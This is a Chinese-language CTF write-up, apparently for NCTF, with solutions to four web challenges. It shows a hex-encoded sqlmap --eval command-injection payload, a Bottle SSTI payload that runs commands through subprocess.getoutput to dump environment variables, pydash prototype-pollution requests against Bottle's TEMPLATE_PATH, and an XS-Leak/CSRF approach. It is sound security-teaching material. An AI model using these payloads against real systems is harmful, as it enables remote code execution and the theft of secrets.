sqlmap-master
1 | from fastapi import FastAPI, Request |
一个sqlmap的利用器,随便输个url发现版本是最新版本1.9.3。
第一眼我想到的是通过|
或者&
或者;
来进行rce,但是发现shell=False,因此这种就不行啦。
既然是最新版本,我们本地下一个看看help

发现一个eval参数,执行提供的python代码并在请求之前执行,拿下了。
由于他有command.split(),我们用十六进制来绕过一下。
1 | import os; print(os.system('env')) |
1 | 123 --eval=exec(bytes.fromhex('696d706f7274206f733b207072696e74286f732e73797374656d2827656e76272929')) |

1 | nctf{e93d1ded-9f2a-4c79-8138-8564b43ca847} |
ez_dash
1 | ''' |
一道bottle框架的python题,考点是python原型链污染+ssti
第一眼的思路就是先通过原型链污染污染模板标识符,然后直接ssti,但是此处它存在len(path)>32,且name不能为bottle
最初想法:
1 | POST /setValue?name=bottle HTTP/1.1 |
但是上述这个不行,既然bottle不能用看,那想想globals里面又有什么可以用的,还不能有下划线,后来又想到了setvel这个函数。
1 | POST /setValue?name=setval HTTP/1.1 |
但是此处,path的长度又超标了。
然后当我阅读官方文档的时候,发现了一种奇特的模板渲染

好像不止{{}}
可以渲染模板??<%%>
和%
好像也可以??
1 | if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0: |
同时我们发现此处的ssti没有长度限制等,只限制了这三个,那么机会来了。
尝试构造payload,读取环境变量。
1 | <%%20from%20bottle%20import%20abort%0a%20from%20subprocess%20import%20getoutput%0a%20a=getoutput('env')%0a%20abort(404,a)%> |
通过abort报错弹出a变量的值。
getoutput
是 Python 的 subprocess
模块中的一个函数,用于执行命令并返回其输出。它是对 os.popen
的封装,使用起来更加简洁。如果你需要绕过点号(.
)的限制来执行命令并获取输出,getoutput
是一个非常好的选择。

ez_dash_revenge
修复ez_dash非预期
上面确实是非预期了,毕竟原型链污染都没有用到。。
1 | ''' |
原本我们的想法是这样的:
1 | POST /setValue?name=setval HTTP/1.1 |
但是现在ssti处<<>>
也被ban了。那么污染的肯定就不是BaseTemplate.settings了。
我们看看官方文档,找不到什么东西了,看看源码好了

发现几个属性,问问ai


可以设置模板文件的搜索路径?!有点类似于python原型链污染Flask中的_static_url_path,改变静态文件路径。
那么如果将TEMPLATE_PATH污染成/proc/self/,那么访问/render路由时,bottle会在/proc/self/种查找path进行渲染?!

1 | POST /setValue?name=setval HTTP/1.1 |

但是这里回显no,看一下源码,发现长度限制都是成功绕过的,唯一的可能就是setval的时候没有污染成功,这又是为什么呢??
这里问了很久的ai

然后我们在pydash的helpers中发现了!


那么我们也要讲pydash helpers中的RESTRICTED_KEYS污染掉,污染成什么都可以。
1 | POST /setValue?name=pydash HTTP/1.1 |
接下来依次发包!



1 | NCTF{b67eecfa-d24d-4061-8dd1-4bdfa7a2f938} |
internal_api
rust语言的。
先看看源码,main.rs:
1 | use std::{env, net::SocketAddr, sync::Arc}; |
router.rs:
1 | use std::{net::SocketAddr, sync::Arc}; |
/internal/search
是private_search
,只允许bot访问。且此处的db::search的第三个参数为true,代表了允许搜索flag。
db.rs:
1 | use std::{fs, path::Path}; |
那么我们目前的思路就是让bot去访问/internal/search来获取flag。
1 | let conn = pool.get()?; |
如果能搜索到comments,那么就返回200,否则返回Err错误。他并没有回显,只是返回一种状态。
这道题的重点其实就在于此!XS-Leaks有一种基于错误的攻击。https://blog.csdn.net/allway2/article/details/126703565
且我们看到这里的db::search
实现的是一种模糊查询,可以使用这种方法!
我们用基本的poc试试:此时是需要用到csrf的,在/report路由中给让bot去访问我们构造的恶意html,再以bot的身份去进行相关行为。
1 |
|
最终:
1 | <script> |
1 | <!DOCTYPE html> |